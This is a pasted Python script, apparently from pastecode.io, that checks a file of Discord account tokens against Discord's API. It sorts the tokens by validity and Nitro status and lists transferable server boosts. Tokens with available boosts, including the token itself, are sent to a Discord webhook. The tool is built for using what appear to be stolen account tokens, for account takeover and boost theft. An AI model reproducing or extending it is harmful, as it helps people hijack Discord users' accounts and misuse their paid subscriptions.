Untitled

mail@pastecode.io avatar
unknown
plain_text
a year ago
4.2 kB
4
Indexable
Never
import concurrent.futures
import requests
import datetime
import os
from colorama import init, Fore
from discord_webhook import DiscordWebhook, DiscordEmbed

init()

def main():
    tokens = open("tokens.txt", "r").readlines()
    tokens = [token.rstrip() for token in tokens]
    num_threads = int(input("Enter the number of threads to use: "))
    with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
        futures = []
        start = datetime.datetime.now()
        session = requests.Session()
        for token in tokens:
            futures.append(executor.submit(updatedChecker, session, token))
        for future in concurrent.futures.as_completed(futures):
            future.result()
        session.close()
    end = datetime.datetime.now()
    print("Successfully checked", len(tokens), "tokens in", end - start)

def updatedChecker(session, token):
    now = datetime.datetime.now(datetime.timezone.utc)
    directory = now.strftime("%d-%m-%Y %H;%M")
    os.makedirs(directory, exist_ok=True)
    headers = {"Authorization": token}
    try:
        response = session.get("https://discord.com/api/v9/users/@me", headers=headers)
        response.raise_for_status()
        user = response.json()
    except (requests.exceptions.HTTPError, ValueError):
        print(Fore.RED + token)
        with open(f"{directory}/Invalids.txt", "a") as f:
            f.write(f"{token}\n")
        return
    
    if user["premium_type"] == 0:
        print(Fore.GREEN + token)
        with open(f"{directory}/NoNitro.txt", "a") as f:
            f.write(f"{token} = {user['username']}#{user['discriminator']}\n")
    elif user["premium_type"] == 2:
        try:
            response = session.get("https://discord.com/api/v9/users/@me/guilds/premium/subscription-slots", headers=headers)
            response.raise_for_status()
            boostCheck = response.json()
        except requests.exceptions.HTTPError:
            boostCheck = []
        availableBoosts = 0
        for nitro_token in boostCheck:
            cooldownEnds = nitro_token.get('cooldown_ends_at')
            if cooldownEnds is None or datetime.datetime.fromisoformat(cooldownEnds.split('+')[0] + '+00:00').replace(tzinfo=datetime.timezone.utc) <= now:
                availableBoosts += 1
        p = '| Server Boosted: None '
        nitroExpires = ""
        ok = str(availableBoosts) + ' ' + p
        if boostCheck and boostCheck[0]['premium_guild_subscription'] is not None:
            p = f"| Server Boosted: {boostCheck[0]['premium_guild_subscription']['guild_id']} "
            try:
                response = session.get("https://discord.com/api/v9/users/@me/billing/subscriptions", headers=headers)
                response.raise_for_status()
                nitroCheck = response.json()
                nitroExpires = '| Expires: ' + datetime.datetime.fromisoformat(nitroCheck[0]['trial_ends_at']).replace(tzinfo=datetime.timezone.utc).strftime('%d-%m-%Y %H:%M')
                ok = str(availableBoosts) + ' ' + (nitroExpires) + ' ' + (p)
            except requests.exceptions.HTTPError:
                pass   
        print(Fore.GREEN + token)
        with open(f"{directory}/NitroBoostTokens.txt", "a") as f:
            f.write(f"{token} | Transferrable Boosts: {ok} | {user['username']}#{user['discriminator']}\n")
        
        if availableBoosts >= 1:
            webhook_url = "YOUR_WEBHOOK_URL"
            webhook = DiscordWebhook(url=webhook_url)
            webhook.set_avatar(url="WEBHOOK_AVATAR_URL")
            embed = DiscordEmbed(title="✅ Boost Available: " + token, color=65280)
            embed.add_embed_field(name="Transferrable Boosts", value=f"``{str(availableBoosts)}``", inline=True)
            embed.add_embed_field(name="Nitro Expires", value=f"``{nitroExpires}``", inline=True)
            embed.add_embed_field(name="Server Boosted", value=f"``{p}``", inline=True)
            webhook.add_embed(embed)
            webhook.execute()
            
    else:
        print(Fore.GREEN + token)
        with open(f"{directory}/NitroBasicTokens.txt", "a") as f:
            f.write(f"{token} | {user['username']}#{user['discriminator']}\n")

main()